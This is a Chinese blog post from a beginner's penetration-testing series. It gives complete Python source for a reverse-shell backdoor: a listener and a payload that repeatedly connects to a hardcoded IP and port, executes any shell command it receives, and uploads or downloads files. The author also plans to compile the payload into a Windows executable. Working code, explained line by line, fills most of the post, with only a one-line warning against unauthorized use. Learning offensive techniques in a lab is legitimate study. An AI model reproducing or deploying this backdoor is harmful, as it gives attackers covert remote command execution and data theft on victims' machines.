iT邦幫忙

2024 iThome 鐵人賽

DAY 14
0
自我挑戰組

從零開始:資安滲透初探系列 第 14

13: 資安滲透初探: Python 編程項目 2 - 後門

  • 分享至 

  • xImage
  •  

今天要分享的部分是創建一個有效的後門程式。
這個專案依然會使用Python來完成。我們需要構建兩個程式,一個是伺服器端程式,另一個是Payload(後門程式)。
由於本人沒有完全理解這個學習資源的教學,coding的部分會以ChatGPT輔助解說

專案概述

  • 伺服器程式:將在我們的Kali Linux機器上運行,這個程式將負責接收從Payload傳回來的訊息並發送指令到Payload。
  • Payload程式:這個程式將在目標機器上運行,它會接收來自伺服器的命令並執行,然後將執行結果回傳給伺服器。

通訊流程

  1. 伺服器端在Kali Linux上運行,等待Payload的連接。
  2. 當目標機器上的Payload程式啟動時,它會嘗試連接伺服器。
  3. 一旦連接成功,伺服器可以向Payload發送命令(例如在目標機器上列出當前目錄中的所有文件)。
  4. Payload接收到命令後,執行相應操作,並將結果返回給伺服器。

預備知識

  • 反向Shell(Reverse Shell):在滲透測試中,我們已經學習了如何利用反向Shell攻擊目標系統。這個專案將應用這些知識來創建我們自己的後門程式。
  • 端口與IP地址:在設計通訊協議時,對於如何使用端口和IP地址進行連接,我們需要有基本的瞭解。
  • Python套接字(Sockets):這將是實現伺服器與Payload之間通訊的核心技術。

編碼流程

  1. 將首先編寫伺服器程式,這個程式將負責與Payload通訊,並接受回傳的資料。
  2. 接著編寫Payload程式,使其能夠接收來自伺服器的命令並執行。
  3. 最後是將Python程式編譯為可執行文件(.EXE),以便在Windows目標系統上運行。

備註

IP:192.168.1.12
Port:5555
為該案例中kali機器的IP與選用的Port

server

import socket
import json
import os


def reliable_send(data):
	jsondata = json.dumps(data)
	target.send(jsondata.encode())

def reliable_recv():
	data = ''
	while True:
		try:
			data = data + target.recv(1024).decode().rstrip()
			return json.loads(data)
		except ValueError:
			continue

def upload_file(file_name):
        f = open(file_name, 'rb')
        target.send(f.read())


def download_file(file_name):
	f = open(file_name, 'wb')
	target.settimeout(1)
	chunk = target.recv(1024)
	while chunk:
		f.write(chunk)
		try:
			chunk = target.recv(1024)
		except socket.timeout as e:
			break
	target.settimeout(None)
	f.close()


def target_communication():
	while True:
		command = input('* Shell~%s: ' % str(ip))
		reliable_send(command)
		if command == 'quit':
			break
		elif command == 'clear':
			os.system('clear')
		elif command[:3] == 'cd ':
			pass
		elif command[:8] == 'download':
			download_file(command[9:])
		elif command[:6] == 'upload':
			upload_file(command[7:])
		else:
			result = reliable_recv()
			print(result)



sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('192.168.1.12', 5555))
print('[+] Listening For The Incoming Connections')
sock.listen(5)
target, ip = sock.accept()
print('[+] Target Connected From: ' + str(ip))
target_communication()

引入模組

import socket  # 用於創建網絡連接的模組
import json    # 用於數據編碼和解碼的模組
import os      # 用於與操作系統進行交互的模組

定義函數

  1. reliable_send(data):

    • 這個函數負責將Python的數據結構(如字典或列表)轉換為JSON字符串,然後將其發送到遠程目標。
    • json.dumps(data) 將 Python 對象轉換為 JSON 字符串。
    • target.send(jsondata.encode()) 將 JSON 字符串編碼為字節並發送給目標。
    def reliable_send(data):
        jsondata = json.dumps(data)
        target.send(jsondata.encode())
    
    
  2. reliable_recv():

    • 這個函數負責接收來自遠程目標的JSON數據,並將其轉換回Python數據結構。
    • 使用了一個循環來持續接收數據,直到收到完整的JSON數據。target.recv(1024) 接收來自目標的1024字節數據。
    • 如果數據尚未完全接收,會捕獲 ValueError,並繼續接收剩餘的數據。
    def reliable_recv():
        data = ''
        while True:
            try:
                data = data + target.recv(1024).decode().rstrip()
                return json.loads(data)
            except ValueError:
                continue
    
    
  3. upload_file(file_name):

    • 這個函數負責將指定的文件從本地機器上傳到遠程目標。
    • 使用 open(file_name, 'rb') 以二進制讀取模式打開文件,然後將文件的內容發送給目標。
    def upload_file(file_name):
        f = open(file_name, 'rb')
        target.send(f.read())
    
    
  4. download_file(file_name):

    • 這個函數負責從遠程目標下載指定的文件到本地機器。
    • 使用 open(file_name, 'wb') 以二進制寫入模式打開文件。
    • 設置 target.settimeout(1) 以避免在接收過程中長時間等待。
    • 使用 recv(1024) 以1024字節的塊大小接收文件內容,直到接收完成。
    def download_file(file_name):
        f = open(file_name, 'wb')
        target.settimeout(1)
        chunk = target.recv(1024)
        while chunk:
            f.write(chunk)
            try:
                chunk = target.recv(1024)
            except socket.timeout as e:
                break
        target.settimeout(None)
        f.close()
    
    
  5. target_communication():

    • 這個函數負責處理與遠程目標的通信,接收命令並發送到遠程目標,然後處理相應的響應。
    • 通過 input('* Shell~%s: ' % str(ip)) 接收用戶輸入的命令。
    • 根據不同的命令執行對應的操作,例如 quit 終止連接,clear 清屏,cd 切換目錄,downloadupload 用於文件傳輸,其它命令則發送到目標並顯示結果。
    def target_communication():
        while True:
            command = input('* Shell~%s: ' % str(ip))
            reliable_send(command)
            if command == 'quit':
                break
            elif command == 'clear':
                os.system('clear')
            elif command[:3] == 'cd ':
                pass
            elif command[:8] == 'download':
                download_file(command[9:])
            elif command[:6] == 'upload':
                upload_file(command[7:])
            else:
                result = reliable_recv()
                print(result)
    
    

主程序

  1. 創建Socket並綁定IP和端口

    • socket.socket(socket.AF_INET, socket.SOCK_STREAM) 創建一個TCP套接字。
    • sock.bind(('192.168.1.12', 5555)) 將套接字綁定到指定的IP地址和端口。
    • sock.listen(5) 開始監聽連接,允許最多5個未處理的連接請求。
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(('192.168.1.12', 5555))
    print('[+] Listening For The Incoming Connections')
    sock.listen(5)
    
    
  2. 接受連接並開始通信

    • target, ip = sock.accept() 接受傳入的連接,返回目標的套接字和IP地址。
    • 顯示目標已連接的信息,然後調用 target_communication() 開始與目標通信。
    target, ip = sock.accept()
    print('[+] Target Connected From: ' + str(ip))
    target_communication()
    
    

這段代碼設計的主要目的是建立一個簡單的遠程殼,允許操作者在本地機器與遠程目標之間執行命令並傳輸文件。代碼中包含了基本的錯誤處理和文件傳輸邏輯,但在實際使用中可能需要更嚴格的安全措施。

backdoor

import socket
import time
import subprocess
import json
import os

def reliable_send(data):
        jsondata = json.dumps(data)
        s.send(jsondata.encode())

def reliable_recv():
        data = ''
        while True:
                try:
                        data = data + s.recv(1024).decode().rstrip()
                        return json.loads(data)
                except ValueError:
                        continue




def connection():
	while True:
		time.sleep(20)
		try:
			s.connect(('192.168.1.12',5555))
			shell()
			s.close()
			break
		except:
			connection()

def upload_file(file_name):
	f = open(file_name, 'rb')
	s.send(f.read())


def download_file(file_name):
        f = open(file_name, 'wb')
        s.settimeout(1)
        chunk = s.recv(1024)
        while chunk:
                f.write(chunk)
                try:
                        chunk = s.recv(1024)
                except socket.timeout as e:
                        break
        s.settimeout(None)
        f.close()


def shell():
	while True:
		command = reliable_recv()
		if command == 'quit':
			break
		elif command == 'clear':
			pass
		elif command[:3] == 'cd ':
			os.chdir(command[3:])
		elif command[:8] == 'download':
			upload_file(command[9:])
		elif command[:6] == 'upload':
			download_file(command[7:])
		else:
			execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
			result = execute.stdout.read() + execute.stderr.read()
			result = result.decode()
			reliable_send(result)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()

這段代碼是一個用於反向殼(Reverse Shell)的Python腳本,它可以讓遠程攻擊者控制運行該腳本的受害者機器。以下是對這段代碼的詳細註解和解釋:

引入模組

import socket    # 用於創建網絡連接的模組
import time      # 用於控制程序暫停的模組
import subprocess # 用於執行系統命令的模組
import json      # 用於數據編碼和解碼的模組
import os        # 用於與操作系統進行交互的模組

定義函數

  1. reliable_send(data):

    • 這個函數負責將Python的數據結構(如字典或列表)轉換為JSON字符串,然後將其發送到遠程控制端。
    • json.dumps(data) 將 Python 對象轉換為 JSON 字符串。
    • s.send(jsondata.encode()) 將 JSON 字符串編碼為字節並發送給控制端。
    def reliable_send(data):
        jsondata = json.dumps(data)
        s.send(jsondata.encode())
    
    
  2. reliable_recv():

    • 這個函數負責接收來自遠程控制端的JSON數據,並將其轉換回Python數據結構。
    • 使用了一個循環來持續接收數據,直到收到完整的JSON數據。s.recv(1024) 接收來自控制端的1024字節數據。
    • 如果數據尚未完全接收,會捕獲 ValueError,並繼續接收剩餘的數據。
    def reliable_recv():
        data = ''
        while True:
            try:
                data = data + s.recv(1024).decode().rstrip()
                return json.loads(data)
            except ValueError:
                continue
    
    
  3. connection():

    • 這個函數負責不斷嘗試與遠程控制端建立連接。如果連接失敗,會在20秒後重新嘗試。
    • s.connect(('192.168.1.12', 5555)) 嘗試與指定的IP和端口建立TCP連接。
    • 連接成功後,調用 shell() 函數進行命令交互。
    def connection():
        while True:
            time.sleep(20)
            try:
                s.connect(('192.168.1.12', 5555))
                shell()
                s.close()
                break
            except:
                connection()
    
    
  4. upload_file(file_name):

    • 這個函數負責將指定的文件從受害者機器上傳到遠程控制端。
    • 使用 open(file_name, 'rb') 以二進制讀取模式打開文件,然後將文件的內容發送給控制端。
    def upload_file(file_name):
        f = open(file_name, 'rb')
        s.send(f.read())
    
    
  5. download_file(file_name):

    • 這個函數負責從遠程控制端下載指定的文件到受害者機器。
    • 使用 open(file_name, 'wb') 以二進制寫入模式打開文件。
    • 設置 s.settimeout(1) 以避免在接收過程中長時間等待。
    • 使用 recv(1024) 以1024字節的塊大小接收文件內容,直到接收完成。
    def download_file(file_name):
        f = open(file_name, 'wb')
        s.settimeout(1)
        chunk = s.recv(1024)
        while chunk:
            f.write(chunk)
            try:
                chunk = s.recv(1024)
            except socket.timeout as e:
                break
        s.settimeout(None)
        f.close()
    
    
  6. shell():

    • 這個函數負責處理與遠程控制端的通信,接收命令並在受害者機器上執行,然後將結果返回給控制端。
    • 通過 reliable_recv() 接收來自控制端的命令。
    • 根據不同的命令執行對應的操作,例如 quit 終止連接,clear 清屏,cd 切換目錄,downloadupload 用於文件傳輸,其它命令則通過 subprocess.Popen() 執行並返回結果。
    def shell():
        while True:
            command = reliable_recv()
            if command == 'quit':
                break
            elif command == 'clear':
                pass
            elif command[:3] == 'cd ':
                os.chdir(command[3:])
            elif command[:8] == 'download':
                upload_file(command[9:])
            elif command[:6] == 'upload':
                download_file(command[7:])
            else:
                execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                result = execute.stdout.read() + execute.stderr.read()
                result = result.decode()
                reliable_send(result)
    
    

主程序

  1. 創建Socket並建立連接

    • socket.socket(socket.AF_INET, socket.SOCK_STREAM) 創建一個TCP套接字。
    • 調用 connection() 函數,不斷嘗試與控制端建立連接。
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connection()
    
    

這段代碼設計的主要目的是在受害者機器上建立一個反向殼,允許遠程控制端通過網絡控制受害者機器,執行命令、上傳和下載文件。代碼中包含了基本的錯誤處理和重連邏輯,但在實際使用中可能會引起嚴重的安全風險,應避免在未經許可的情況下使用。


上一篇
12.資安滲透初探: 利用後操作(Post Exploitation) - 提升權限、提取數據、運行鍵盤記錄器等
下一篇
14-1: 資安滲透初探: 網站應用滲透測試
系列文
從零開始:資安滲透初探30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言